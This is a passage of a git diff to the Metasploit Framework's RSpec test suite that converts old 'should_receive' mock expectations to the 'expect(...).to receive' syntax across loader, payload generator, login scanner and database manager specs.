false/) subject.send(:namespace_module_transaction, module_full_name, :reload => false) do |namespace_module| true @@ -1320,7 +1320,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should delegate to the class method' do type = Msf::MODULE_EXPLOIT - described_class.should_receive(:typed_path).with(type, module_reference_name) + expect(described_class).to receive(:typed_path).with(type, module_reference_name) subject.send(:typed_path, type, module_reference_name) end end @@ -1358,7 +1358,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should log error' do - subject.should_receive(:elog).with(/#{error}/) + expect(subject).to receive(:elog).with(/#{error}/) subject.send(:usable?, metasploit_class) end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 493400d3fb..e87d7929fb 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -139,7 +139,7 @@ RSpec.describe Msf::Modules::Loader::Directory do # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test it 'should attempt to open the expected module_path' do - File.should_receive(:open).with(module_path, 'rb') + expect(File).to receive(:open).with(module_path, 'rb') File.exist?(module_path).should be_falsey subject.send(:read_module_content, parent_path, type, module_reference_name) @@ -156,7 +156,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) + expect(subject).to receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) expect(subject.send(:read_module_content, parent_path, type, module_reference_name)).to eq '' end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index ebb61f47a3..39f370b828 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -118,7 +118,7 @@ RSpec.describe Msf::Modules::Namespace do context 'metasploit_class!' do it 'should call metasploit_class' do - subject.should_receive(:metasploit_class).and_return(Class.new) + expect(subject).to receive(:metasploit_class).and_return(Class.new) subject.metasploit_class!(module_path, module_reference_name) end diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 0c92f54e88..46b14c0965 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -11,9 +11,9 @@ RSpec.describe Msf::OptionContainer do foo_inst.stub(:owner=) foo_class = double("opt_class") - foo_class.should_receive(:new).and_return(foo_inst) + expect(foo_class).to receive(:new).and_return(foo_inst) - foo_inst.should_receive(:name).and_return("thing") + expect(foo_inst).to receive(:name).and_return("thing") subject = described_class.new({ 'thing' => [ foo_class, true, nil, false ] diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 1eb6427328..e37300a4f5 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -503,7 +503,7 @@ RSpec.describe Msf::PayloadGenerator do context '#run_encoder' do it 'should call the encoder a number of times equal to the iterations' do - encoder_module.should_receive(:encode).exactly(iterations).times.and_return(shellcode) + expect(encoder_module).to receive(:encode).exactly(iterations).times.and_return(shellcode) payload_generator.run_encoder(encoder_module, shellcode) end @@ -529,7 +529,7 @@ RSpec.describe Msf::PayloadGenerator do let(:format) { 'c' } it 'applies the appropriate transform format' do - ::Msf::Simple::Buffer.should_receive(:transform).with(shellcode, format, var_name) + expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, format, var_name) payload_generator.format_payload(shellcode) end end @@ -538,7 +538,7 @@ RSpec.describe Msf::PayloadGenerator do let(:format) { 'exe' } it 'applies the appropriate executable format' do - ::Msf::Util::EXE.should_receive(:to_executable_fmt).with(framework, arch, kind_of(payload_generator.platform_list.class), shellcode, format, payload_generator.exe_options) + expect(::Msf::Util::EXE).to receive(:to_executable_fmt).with(framework, arch, kind_of(payload_generator.platform_list.class), shellcode, format, payload_generator.exe_options) payload_generator.format_payload(shellcode) end end @@ -563,7 +563,7 @@ RSpec.describe Msf::PayloadGenerator do it 'calls the generate_war on the payload' do framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] framework.stub_chain(:payloads, :create).and_return(payload_module) - payload_module.should_receive(:generate_war).and_call_original + expect(payload_module).to receive(:generate_war).and_call_original payload_generator.generate_java_payload end end @@ -591,7 +591,7 @@ RSpec.describe Msf::PayloadGenerator do it 'calls the generate_jar on the payload' do framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] framework.stub_chain(:payloads, :create).and_return(payload_module) - payload_module.should_receive(:generate_jar).and_call_original + expect(payload_module).to receive(:generate_jar).and_call_original payload_generator.generate_java_payload end end @@ -610,7 +610,7 @@ RSpec.describe Msf::PayloadGenerator do it 'calls #generate' do framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] framework.stub_chain(:payloads, :create).and_return(payload_module) - payload_module.should_receive(:generate).and_call_original + expect(payload_module).to receive(:generate).and_call_original payload_generator.generate_java_payload end end @@ -631,11 +631,11 @@ RSpec.describe Msf::PayloadGenerator do context '#generate_payload' do it 'calls each step of the process' do - payload_generator.should_receive(:generate_raw_payload).and_call_original - payload_generator.should_receive(:add_shellcode).and_call_original - payload_generator.should_receive(:encode_payload).and_call_original - payload_generator.should_receive(:prepend_nops).and_call_original - payload_generator.should_receive(:format_payload).and_call_original + expect(payload_generator).to receive(:generate_raw_payload).and_call_original + expect(payload_generator).to receive(:add_shellcode).and_call_original + expect(payload_generator).to receive(:encode_payload).and_call_original + expect(payload_generator).to receive(:prepend_nops).and_call_original + expect(payload_generator).to receive(:format_payload).and_call_original payload_generator.generate_payload end @@ -652,7 +652,7 @@ RSpec.describe Msf::PayloadGenerator do } it 'calls generate_java_payload' do - payload_generator.should_receive(:generate_java_payload).and_call_original + expect(payload_generator).to receive(:generate_java_payload).and_call_original payload_generator.generate_payload end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index 0789f6fe9c..f115ff49b9 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -22,13 +22,13 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do end it 'should generate Matching Modules table' do - core.should_receive(:generate_module_table).with('Matching Modules').and_call_original + expect(core).to receive(:generate_module_table).with('Matching Modules').and_call_original search_modules_sql end it 'should call Msf::DBManager#search_modules' do - db_manager.should_receive(:search_modules).with(match).and_return([]) + expect(db_manager).to receive(:search_modules).with(match).and_return([]) search_modules_sql end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index c26bb01ed4..1cf83cffcf 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -123,17 +123,17 @@ RSpec.describe Rex::Proto::Http::Client do conn.stub(:close) conn.stub(:closed? => false) - conn.should_receive(:get_once).and_return(first_response, authed_response) - conn.should_receive(:put) do |str_request| + expect(conn).to receive(:get_once).and_return(first_response, authed_response) + expect(conn).to receive(:put) do |str_request| str_request.should_not include("Authorization") nil end - conn.should_receive(:put) do |str_request| + expect(conn).to receive(:put) do |str_request| str_request.should include("Authorization") nil end - cli.should_receive(:_send_recv).twice.and_call_original + expect(cli).to receive(:_send_recv).twice.and_call_original Rex::Socket::Tcp.stub(:create).and_return(conn) diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 11eaa8bab7..7375f36c31 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -174,13 +174,13 @@ RSpec.describe Msfupdate do let(:args) { [] } it "calls validate_args" do - subject.should_receive(:validate_args) { true } + expect(subject).to receive(:validate_args) { true } subject.run! end it "exits if arguments are invalid" do subject.stub(:validate_args) { false } - subject.should_receive(:maybe_wait_and_exit).and_raise(SystemExit) + expect(subject).to receive(:maybe_wait_and_exit).and_raise(SystemExit) expect { subject.run! }.to raise_error(SystemExit) end end @@ -220,7 +220,7 @@ RSpec.describe Msfupdate do context "#run!" do it "calls update_apt!" do - subject.should_receive(:update_apt!) + expect(subject).to receive(:update_apt!) subject.run! end it "does not call update_binary_install!" do @@ -277,7 +277,7 @@ RSpec.describe Msfupdate do subject.run! end it "calls update_binary_install!" do - subject.should_receive(:update_binary_install!) + expect(subject).to receive(:update_binary_install!) subject.run! end it "does not call update_git!" do @@ -335,7 +335,7 @@ RSpec.describe Msfupdate do subject.run! end it "calls update_git!" do - subject.should_receive(:update_git!) + expect(subject).to receive(:update_git!) subject.run! end end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb index 43463c68b7..66340ed62b 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -258,26 +258,26 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | it 'calls valid! before running' do my_scanner = login_scanner - my_scanner.should_receive(:valid!) - my_scanner.should_receive(:attempt_login).at_least(:once).and_return success + expect(my_scanner).to receive(:valid!) + expect(my_scanner).to receive(:attempt_login).at_least(:once).and_return success my_scanner.scan! end it 'should stop trying a user after success' do my_scanner = login_scanner - my_scanner.should_receive(:valid!) - my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank - my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + expect(my_scanner).to receive(:valid!) + expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank + expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return success my_scanner.should_not_receive(:attempt_login) my_scanner.scan! end it 'call attempt_login once for each cred_detail' do my_scanner = login_scanner - my_scanner.should_receive(:valid!) - my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank - my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return failure_blank - my_scanner.should_receive(:attempt_login).once.with(pub_pri).and_return failure_blank + expect(my_scanner).to receive(:valid!) + expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank + expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return failure_blank + expect(my_scanner).to receive(:attempt_login).once.with(pub_pri).and_return failure_blank my_scanner.scan! end @@ -292,9 +292,9 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | it 'stops after the first successful login' do my_scanner = login_scanner - my_scanner.should_receive(:valid!) - my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank - my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + expect(my_scanner).to receive(:valid!) + expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank + expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return success my_scanner.should_not_receive(:attempt_login).with(pub_pri) my_scanner.scan! end diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 9c17c08cb9..63160fc73d 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -83,11 +83,11 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) + expect(db_manager).to receive(:create_match_result_for_vuln) end it "should call create_match_result" do - db_manager.should_receive(:create_match_result) + expect(db_manager).to receive(:create_match_result) end it "should not call create_match_for_vuln" do @@ -168,7 +168,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) + expect(db_manager).to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do @@ -303,11 +303,11 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) + expect(db_manager).to receive(:create_match_result_for_vuln) end it "should call create_match_result" do - db_manager.should_receive(:create_match_result) + expect(db_manager).to receive(:create_match_result) end it "should not call create_match_for_vuln" do @@ -388,7 +388,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) + expect(db_manager).to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 37b2dbcca4..82f9e00313 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -13,7 +13,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end def with_info - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + expect(db_manager).to receive(:import_msf_web_element) do |*args, &specialization| info = specialization.call(element, options) yield info @@ -333,7 +333,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass :workspace to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:workspace => workspace) @@ -353,13 +353,13 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call Msf::DBManager#workspace' do - db_manager.should_receive(:workspace).and_call_original + expect(db_manager).to receive(:workspace).and_call_original import_msf_web_element end it 'should pass Msf::DBManager#workspace to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:workspace => workspace) @@ -371,7 +371,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do msf_web_text_element_names.each do |name| - db_manager.should_receive( + expect(db_manager).to receive( :import_msf_text_element ).with( element, @@ -394,7 +394,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass returned Hash as part of Hash passed to report_web_<:type' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(returned_hash) @@ -413,7 +413,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:ssl => false) @@ -438,7 +438,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass true for :ssl to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:ssl => true) @@ -454,7 +454,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:ssl => false) @@ -495,7 +495,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass return Hash to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(returned_hash) @@ -713,7 +713,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should be a Hash' do - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + expect(db_manager).to receive(:import_msf_web_element) do |*args, &specialization| info = specialization.call(element, options) info.should be_a Hash @@ -1018,7 +1018,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call #check_msf_xml_version!' do - db_manager.should_receive(:check_msf_xml_version!).and_call_original + expect(db_manager).to receive(:check_msf_xml_version!).and_call_original import_msf_xml end @@ -1056,7 +1056,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call #import_msf_web_form_element' do - db_manager.should_receive(:import_msf_web_form_element).and_call_original + expect(db_manager).to receive(:import_msf_web_form_element).and_call_original import_msf_xml end @@ -1107,7 +1107,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call #import_msf_web_page_element' do - db_manager.should_receive(:import_msf_web_page_element).and_call_original + expect(db_manager).to receive(:import_msf_web_page_element).and_call_original import_msf_xml end @@ -1153,7 +1153,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call #import_msf_web_vuln_element' do - db_manager.should_receive(:import_msf_web_vuln_element).and_call_original + expect(db_manager).to receive(:import_msf_web_vuln_element).and_call_original import_msf_xml end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb index 711d92f075..72f259ffb3 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb @@ -1,13 +1,13 @@ # -*- coding:binary -*- shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' do it 'should call #import_msf_web_element with element' do - db_manager.should_receive(:import_msf_web_element).with(element, anything) + expect(db_manager).to receive(:import_msf_web_element).with(element, anything) subject end it 'should call #import_msf_web_element with :allow_yaml and :workspace' do - db_manager.should_receive(:import_msf_web_element).with( + expect(db_manager).to receive(:import_msf_web_element).with( anything, hash_including( :allow_yaml => allow_yaml, @@ -19,7 +19,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf end it 'should call #import_msf_web_element with :type' do - db_manager.should_receive(:import_msf_web_element).with( + expect(db_manager).to receive(:import_msf_web_element).with( anything, hash_including( :type => type @@ -30,7 +30,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf end it 'should pass block to #import_msf_web_element as :notifier' do - db_manager.should_receive( + expect(db_manager).to receive( :import_msf_web_element ).with( anything, diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 48441286bf..1a2432f046 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -26,7 +26,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should call ActiveRecord::Migrator.migrate' do - ActiveRecord::Migrator.should_receive(:migrate).with( + expect(ActiveRecord::Migrator).to receive(:migrate).with( ActiveRecord::Migrator.migrations_paths ) @@ -41,7 +41,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should reset the column information' do - db_manager.should_receive(:reset_column_information) + expect(db_manager).to receive(:reset_column_information) migrate end @@ -66,7 +66,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should log error message at error level' do - db_manager.should_receive(:elog) do |error_message| + expect(db_manager).to receive(:elog) do |error_message| error_message.should include(error.to_s) end @@ -74,7 +74,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should log error backtrace at debug level' do - db_manager.should_receive(:dlog) do |debug_message| + expect(db_manager).to receive(:dlog) do |debug_message| debug_message.should include('Call stack') end @@ -93,7 +93,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + expect(ActiveRecord::Migration).to receive(:verbose=).with(verbose) migrate end @@ -105,7 +105,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should set ActiveRecord::Migration.verbose to true' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + expect(ActiveRecord::Migration).to receive(:verbose=).with(verbose) migrate end @@ -114,7 +114,7 @@ shared_examples_for 'Msf::DBManager::Migration' do context 'without verbose' do it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(false) + expect(ActiveRecord::Migration).to receive(:verbose=).with(false) db_manager.migrate end @@ -132,7 +132,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should use ActiveRecord::Base.descendants to find both direct and indirect subclasses' do - ActiveRecord::Base.should_receive(:descendants).and_return([]) + expect(ActiveRecord::Base).to receive(:descendants).and_return([]) reset_column_information end @@ -147,7 +147,7 @@ shared_examples_for 'Msf::DBManager::Migration' do ActiveRecord::Base.stub(:descendants => descendants) descendants.each do |descendant| - descendant.should_receive(:reset_column_information) + expect(descendant).to receive(:reset_column_information) end reset_column_information diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 1e86e1a47e..ae37404c82 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -585,22 +585,22 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should set framework.cache_thread to current thread and then nil' do - framework.should_receive(:cache_thread=).with(Thread.current).ordered - framework.should_receive(:cache_thread=).with(nil).ordered + expect(framework).to receive(:cache_thread=).with(Thread.current).ordered + expect(framework).to receive(:cache_thread=).with(nil).ordered update_all_module_details end it 'should set modules_cached to false and then true' do - db_manager.should_receive(:modules_cached=).with(false).ordered - db_manager.should_receive(:modules_cached=).with(true).ordered + expect(db_manager).to receive(:modules_cached=).with(false).ordered + expect(db_manager).to receive(:modules_cached=).with(true).ordered update_all_module_details end it 'should set modules_caching to true and then false' do - db_manager.should_receive(:modules_caching=).with(true).ordered - db_manager.should_receive(:modules_caching=).with(false).ordered + expect(db_manager).to receive(:modules_caching=).with(true).ordered + expect(db_manager).to receive(:modules_caching=).with(false).ordered update_all_module_details end @@ -780,7 +780,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do - db_manager.should_receive(:module_to_details_hash).and_call_original + expect(db_manager).to receive(:module_to_details_hash).and_call_original update_module_details end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index ef7e8956c1..e93387d2bf 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -154,13 +154,13 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without :workspace' do it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + expect(db_manager).to receive(:find_workspace).with(session.workspace).and_call_original report_session end it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :workspace => session_workspace ) @@ -177,7 +177,7 @@ shared_examples_for 'Msf::DBManager::Session' do # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. db_manager.stub(:report_vuln) - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :host => normalized_host ) @@ -196,7 +196,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :arch => arch ) @@ -208,7 +208,7 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without session responds to arch' do it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_excluding( :arch ) @@ -497,13 +497,13 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without :workspace' do it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + expect(db_manager).to receive(:find_workspace).with(session.workspace).and_call_original report_session end it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :workspace => session_workspace ) @@ -520,7 +520,7 @@ shared_examples_for 'Msf::DBManager::Session' do # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. db_manager.stub(:report_vuln) - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :host => normalized_host ) @@ -539,7 +539,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :arch => arch ) @@ -551,7 +551,7 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without session responds to arch' do it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_excluding( :arch ) diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 0eed8f9dc1..881d2e9b13 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -24,13 +24,13 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do end it 'should create instance of module corresponding to Mdm::Module::Detail' do - module_set.should_receive(:create).with(module_detail.refname) + expect(module_set).to receive(:create).with(module_detail.refname) update_all_module_details end it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do - db_manager.should_receive(:update_module_details) do |module_instance| + expect(db_manager).to receive(:update_module_details) do |module_instance| module_instance.should be_a Msf::Module expect(module_instance.type).to eq module_detail.mtype expect(module_instance.refname).to eq module_detail.refname @@ -45,7 +45,7 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do end it 'should log error' do - db_manager.should_receive(:elog) + expect(db_manager).to receive(:elog) update_all_module_details end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 2a6f66b662..823a8e8a07 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -167,14 +167,14 @@ shared_examples_for 'Msf::ModuleManager::Cache' do it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do module_manager.send(:loaders).each do |loader| - loader.should_receive(:loadable?).with(parent_path).and_call_original + expect(loader).to receive(:loadable?).with(parent_path).and_call_original end load_cached_module end it 'should force load using #load_module on the loader' do - Msf::Modules::Loader::Directory.any_instance.should_receive( + expect(Msf::Modules::Loader::Directory.any_instance).to receive( :load_module ).with( parent_path, @@ -240,8 +240,8 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do - framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered - module_manager.should_receive(:refresh_cache_from_database).ordered + expect(framework.db).to receive(:update_module_details).with(module_class_or_instance).ordered + expect(module_manager).to receive(:refresh_cache_from_database).ordered refresh_cache_from_module_files end @@ -253,8 +253,8 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should update database and then update in-memory cache from the database for all modules' do - framework.db.should_receive(:update_all_module_details).ordered - module_manager.should_receive(:refresh_cache_from_database) + expect(framework.db).to receive(:update_all_module_details).ordered + expect(module_manager).to receive(:refresh_cache_from_database) refresh_cache_from_module_files end @@ -296,7 +296,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should call #module_info_by_path_from_database!' do - module_manager.should_receive(:module_info_by_path_from_database!) + expect(module_manager).to receive(:module_info_by_path_from_database!) refresh_cache_from_database end @@ -369,7 +369,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do - Mdm::Module::Detail.should_receive(:find_each) + expect(Mdm::Module::Detail).to receive(:find_each) module_info_by_path_from_database! end @@ -395,7 +395,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original + expect(Msf::Modules::Loader::Base).to receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original module_info_by_path_from_database! end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index a70c5bb179..d7262e02c4 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -129,7 +129,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end it "should add module to type's module_set" do - module_set.should_receive(:add_module).with( + expect(module_set).to receive(:add_module).with( klass, reference_name, options @@ -139,19 +139,19 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end it 'should call cache_in_memory' do - module_manager.should_receive(:cache_in_memory) + expect(module_manager).to receive(:cache_in_memory) on_module_load end it 'should pass class to #auto_subscribe_module' do - module_manager.should_receive(:auto_subscribe_module).with(klass) + expect(module_manager).to receive(:auto_subscribe_module).with(klass) on_module_load end it 'should fire on_module_load event with class' do - framework.events.should_receive(:on_module_load).with( + expect(framework.events).to receive(:on_module_load).with( reference_name, klass ) diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index a8ad92485b..d9b5090bab 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -29,7 +29,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end it 'should refresh module cache from database' do - framework.modules.should_receive(:refresh_cache_from_database) + expect(framework.modules).to receive(:refresh_cache_from_database) init_module_paths end @@ -52,7 +52,7 @@ shared_examples_for 